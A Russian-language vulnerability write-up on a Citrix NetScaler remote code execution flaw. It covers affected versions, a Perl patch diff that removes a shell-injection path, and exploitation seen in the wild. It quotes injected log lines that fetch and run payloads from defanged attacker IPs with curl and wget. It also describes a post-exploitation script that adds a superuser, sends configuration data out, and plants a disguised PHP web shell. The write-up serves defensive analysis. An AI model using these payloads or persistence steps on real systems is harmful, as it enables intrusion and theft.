Citrix NetScaler CVE-2026-88771, CVE-2026-88772

Кто такой Citrix NetScaler и почему Gateway стал их первым проектом на C?​

Что такое CVE-2026-88771 и почему у него больше друзей, чем у нас?​

• Citrix NetScaler ADC и Citrix NetScaler Gateway 14.1-73.37 и более поздние релизы
• Citrix NetScaler ADC и Citrix NetScaler Gateway 13.1-64.23, а также более поздние версии 13.1
• Citrix NetScaler ADC 14.1-FIPS 14.1-73.37 FIPS и более поздние версии 14.1-FIPS
• Citrix NetScaler ADC 13.1-FIPS и 13.1-NDcPP 13.1-37.279, а также более поздние релизы 13.1-FIPS и 13.1-NDcPP

И вот мы отправились в наше путешествие — CVE-2026-88771​

Уязвимость при удаленном выполнении кода возникает из-за неправильной проверки ввода, что может позволить неаутентифицированному злоумышленнику выполнять произвольные команды. Citrix

grep, sed, and Awkward​

diff --git a/netscaler/ns_monuploadd_err.pl b/netscaler/ns_monuploadd_err.pl
--- a/netscaler/ns_monuploadd_err.pl    # 14.1-73.30
+++ b/netscaler/ns_monuploadd_err.pl    # 14.1-73.37
@@
-my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |\
-tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`; # [1]
+my $WR_PPE_COREFILE_NAME = "";
+my $CORE_RE = qr/pitboss.*(NSPPE-\d{2})\s*\((\d+)\).*(missed too many heartbeats|unexpectedly died)/;
+for my $log (@WR_FILES) {
+    open my $fh, '<', $log or next;
+    while (my $line = <$fh>) {
+        $WR_PPE_COREFILE_NAME = "$1-$2" if $line =~ $CORE_RE;
+    }
+    close $fh;
+}
@@
-chomp($WR_PPE_COREFILE_NAME);
-my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;
+my $WR_PPE_CORE = "";
+if (open my $find, '-|', 'find', "$OFF_DIR/var/core", '-type', 'f',
+    '(', '-name', $WR_PPE_COREFILE_NAME,
+    '-o', '-name', "$WR_PPE_COREFILE_NAME.gz", ')')
+{
+    while (my $found = <$find>) {
+        chomp $found;
+        if ($found =~ /\A[A-Za-z0-9\/\-.]+\z/) {
+            $WR_PPE_CORE = $found;
+        }
+    }
+    close $find;
+}

Что этот патч делает (коротко)​

• Заменили shell-пайплайн на нативный Perl-парсинг с жёстким regex: NSPPE-\d{2} и (\d+)
• Запуск find через list form (open my $find, '-|', 'find', ...) — Perl не вызывает /bin/sh, передаёт аргументы напрямую
• Добавили whitelist-проверку пути: \A[A-Za-z0-9\/\-.]+\z — никаких ;, |, `, $() и прочего

​

Наблюдаемая активность эксплуатации​

• pitboss PPE unexpectedly died NSPPE;whoami;# X

• pitboss PPE unexpectedly died NSPPE;curl hxxp://64.94.85[.]67:443/update_c08937.pl | perl;# X
• pitboss PPE unexpectedly died NSPPE;wget hxxp://31.56.197[.]72:9090/lula;# X
• pitboss PPE unexpectedly died NSPPE;shell; curl hxxp://31.56.197[.]72:9090/lula;# X

Анализ main.py​

Анализ update_c08937.pl​

1. Он изменяет /flash/nsconfig/ns.conf, чтобы создать локальную учетную запись с именем sec_monitor и назначает ей роль суперпользователя.
2. Архивирует директорию /flash/nsconfig в /tmp/update_result_3567cs.tgz и пытается загрузить полученный архив на 64.94.85[.]67:443, предоставляя злоумышленнику данные конфигурации NetScaler.
3. После попытки передачи скрипт удаляет архив и самоуничтожается, уменьшая количество артефактов, остающихся на диске.
4. Изменяет разрешения /bin/sh на 6555.
5. Развертывает PHP-веб-шелл по адресу /var/netscaler/logon/LogonPoint/.local_journal.
6. Изменяет /etc/httpd.conf, чтобы включить выполнение PHP и сопоставить веб-шелл с URL-адресами, напоминающими легитимные ресурсы CSS NetScaler (включая LogonUISimple.html.style.min.css и случайные шестнадцатеричные вариации имени файла). Веб-шелл обеспечивает удаленное выполнение команд, а также функции загрузки и скачивания файлов.

Артефакты пост-эксплуатации​